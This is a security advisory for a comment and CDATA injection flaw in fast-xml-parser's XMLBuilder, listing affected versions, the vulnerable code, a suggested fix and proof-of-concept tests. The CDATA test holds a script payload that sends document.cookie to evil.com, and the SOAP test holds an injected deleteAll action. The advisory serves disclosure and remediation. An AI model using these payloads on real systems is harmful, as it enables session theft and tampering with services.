---
title: "GHSA-gh4j-gqv2-49f6: fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters"
description: "Moderate severity. fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters. Affects fast-xml-parser; fixed in 5.7.0."
url: https://inlinr.com/advisories/GHSA-gh4j-gqv2-49f6
lang: en
---

[Packages](https://inlinr.com/packages) / [fast-xml-parser](https://inlinr.com/packages/fast-xml-parser) / [Security](https://inlinr.com/packages/fast-xml-parser/security)

Moderate Vulnerability GHSA-gh4j-gqv2-49f6 CVE-2026-41650 Published 22 Apr 2026

# fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

Your version 

Affected releases · [fast-xml-parser](https://inlinr.com/packages/fast-xml-parser)

- 5.x 5.0.0 – 5.6.0 Fixed in 5.7.0
- 4.x 4.0.0 – 4.5.6 Fixed in 4.5.7
- 3.x and older 1.0.0 – 3.21.1 No fix, no longer updated

On 5.x, the newest line:

```
npm install fast-xml-parser@5.7.0
```

Every release on a timeline

5.x 

1. Affected

5.0.0 – 5.6.0  
44 releases
2. Fixed

5.7.0 – 5.12.1  
16 releases, latest

4.x 

1. Affected

4.0.0 – 4.5.6  
45 releases
2. Fixed

4.5.7  
1 release

3.x 

1. Affected

3.0.0 – 3.21.1  
60 releases

2.x 

1. Affected

2.0.0 – 2.9.4  
26 releases

1.x 

1. Affected

1.0.0 – 1.1.1  
3 releases

195 stable releases of fast-xml-parser, oldest to newest, one row per major.

## What happens

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser v5.5.12 (latest) XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

- CVE-2023-26920: Prototype pollution (parser)
- CVE-2023-34104: ReDoS (parser)
- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers **unescaped comment/CDATA delimiters in XMLBuilder** \- a distinct vulnerability.

Vulnerable Code

**File**: `src/fxb.js`

```
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}
```

Compare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

```
import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));
```

**Output**:

```
<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>
```

Test 2: CDATA Injection (RSS feed)

```
const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));
```

**Output**:

```
<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>
```

Test 3: SOAP Message Injection

```
const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));
```

**Output**:

```
<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>
```

The injected `<Action>deleteAll</Action>` appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

```
1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true
```

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers
2. **SOAP injection**: Modify SOAP message structure by injecting XML elements
3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout
4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

```
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#45;&#45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}
```

## How it is exploited

Exploitable over the network, with no account and a user to do something.

- **Confidentiality**: low
- **Integrity**: low
- **Availability**: none

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:R/​S:C/​C:L/​I:L/​A:N

## References

- [Reference](https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6 "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6")  
github.com/NaturalIntelligence/fast-xml-parser/…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-41650 "https://nvd.nist.gov/vuln/detail/CVE-2026-41650")  
nvd.nist.gov/vuln/detail/CVE-2026-41650
- [Fix commit](https://github.com/NaturalIntelligence/fast-xml-parser/commit/e561c2188607a108a9a8d9b6428902a28aad8fb0 "https://github.com/NaturalIntelligence/fast-xml-parser/commit/e561c2188607a108a9a8d9b6428902a28aad8fb0")  
e561c21
- [Package](https://github.com/NaturalIntelligence/fast-xml-parser "https://github.com/NaturalIntelligence/fast-xml-parser")  
github.com/NaturalIntelligence/fast-xml-parser
- [Reference](https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0 "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0")  
github.com/NaturalIntelligence/fast-xml-parser/…

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
